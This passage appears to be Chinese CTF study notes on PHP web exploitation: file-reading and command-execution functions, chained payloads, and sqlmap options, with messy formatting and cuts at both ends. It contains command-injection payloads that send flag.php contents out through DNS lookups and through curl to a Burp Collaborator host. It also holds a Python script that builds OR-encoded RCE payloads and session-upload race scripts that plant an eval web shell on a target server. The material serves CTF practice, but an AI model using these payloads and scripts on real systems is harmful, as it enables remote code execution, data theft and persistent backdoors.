array_filter($array1,$func);#把前面的数组内容传到后面的函数中(callback函数)
?>
```
## 显示文件内容函数总结
* `file_get_contents()`
将整个文件的内容读入一个字符串
* `readfile()`
读取文件并输出到缓存
* `highlight_file()`
别名为`show_source()`
* `fopen()`
将指定文件打开并绑定到一个流上
`$handle = fopen("c:\\folder\\resource.txt", "r");`
* `fread()`
```php
<?php
$filename = "c:\\files\\somepic.gif";
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>
```
* `fgetss($handle, 4096)`
从文件指针中读取一行并过滤html标记
* `fgets($handle, 4096)`
从文件指针中读取一行
* `parse_ini_file()`
* `file()`
将整个文件的内容读入一个数组
* `unicode`单个字符可以表示很大的数字
## 命令执行函数集合
* `system()`
执行外部程序,并且显示输出
* `exec()`
执行一个外部程序
如果要获得运行结果,要使用output参数
```php
echo exec(ls);
```
* `shell_exec()`
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
* `passthru()`
执行外部程序并且显示原始输出
* `pcntl_exec()`???暂不明
在当前进程空间执行指定程序
<!--
* `popen()`
* `proc_open()`
-->
## 利用集合
* 函数组合
`show_source(next(array_reverse(scandir(current(localeconv())))));`
其中`show_source()`的别名是`highlight_file()`,`current()`的别名是`pos()`
同理,`readfile()`也有相同作用
* 造参传参
`c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php`
## 抓包改包
* `burpsuite`get改post
请求方式改成`POST`
加入`content-type:application/x-www-form-urlencoded`
最下面加上要传的参数
## 概念科普
* php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息
* `php`中`GET`请求参数不用单引号引起来也可以是因为利于`php向下兼容`
* `/dev/null`:表示 的是一个黑洞,通常用于丢弃不需要的数据输出, 或者用于输入流的空文件
1.1 将无用的输出流写入到黑洞丢弃。
`curl -Iwww.baidu.com 2>/dev/null | head -l` 错误信息定位到黑洞
1.2 清空文件
`cat /dev/null > /home/omc/h.txt`
1.3 在书写定时任务总,规范的写法就是将所有定时任务脚本结尾加上>/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃。
* 有三种输出流,1标准输出,2错误输出,3异常输出
* `dnslog`
* dns请求有日志记录,日志可以查看有多少ip访问该域名
* 可以查看请求数据
```php
/?F=`$F` ; ping `cat flag.php `.xxxx.cn -c
/?F=`$F` ; nl flag.php>/tmp/1
/?F=`$F` ; ping `nl flag.php | awk 'NR==15'| tr -cd "[a-z]"/"[0-9]"/"-"`.xxxx.cn -c 1
/?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
查看dnslog.cn就可以看到数据
平常也可以使用带外的方法,只需要能够执行wget命令,然后直接wget `ls`.dnslog.org这样,就能看结果
脚本
爆破脚本
绕过测试
生成可用字符集合 ```php <?php $myfile = fopen(“rce_or.txt”, “w”); $contents=””; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
} } fwrite($myfile,$contents); fclose($myfile);
>传递参数
```python
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
session 文件包含
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
import requests
import io
import threading
url='http://114.115.207.198:200/aGho.php'
sessionid='ctfshow'
data={
"c":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
resposne2=session.get(url+'2.php');
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
工具参数
SQLmap
强大的sql注入工具 https://www.freebuf.com/sectool/164608.html
-
--user-agent
指定agent
-
--referer
指定referer,referer伪造,指明从哪个页面过来的
-
--data
–data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。–data=”id=1” -f –banner –dbs –users
-
--dbms
指定数据库管理系统
-
--header
指定请求头内容,–headers=“Content-Type: text/plain”
-
--cookie
指定cookie值
--cookie="PHPSESSID=xxx"
-
--safe-url
指定跳转页面前访问的页面,绕过鉴权
-
--safe-freq
指定前页面的访问次数
-
--os-shell
SQLMAP特性
- 自动判断闭合
nmap
- ``